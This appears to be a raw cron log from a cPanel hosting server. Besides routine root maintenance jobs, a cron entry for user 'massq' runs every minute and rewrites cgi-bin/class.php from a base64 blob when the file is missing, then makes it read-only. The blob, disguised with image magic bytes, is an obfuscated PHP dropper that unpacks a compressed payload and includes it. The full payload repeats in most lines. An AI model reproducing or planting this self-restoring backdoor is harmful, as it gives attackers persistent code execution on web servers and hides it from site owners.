Nov  9 16:55:01 server CROND[1751]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:56:01 server CROND[2675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:57:01 server CROND[3497]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:57:01 server CROND[3498]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 16:58:01 server CROND[4325]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:59:01 server CROND[5100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:00:01 server CROND[5982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:00:01 server CROND[5979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:00:01 server CROND[5981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:00:01 server CROND[5980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 17:01:01 server CROND[6891]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 17:01:01 server CROND[6892]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:01:01 server run-parts(/etc/cron.hourly)[6891]: starting 0anacron
Nov  9 17:01:02 server run-parts(/etc/cron.hourly)[6904]: finished 0anacron
Nov  9 17:02:01 server CROND[7713]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:03:01 server CROND[8530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:04:01 server CROND[9499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:05:01 server CROND[10367]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov  9 17:05:01 server CROND[10368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:05:01 server CROND[10370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:05:01 server CROND[10373]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 17:05:01 server CROND[10369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:06:01 server CROND[11405]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:07:01 server CROND[12178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
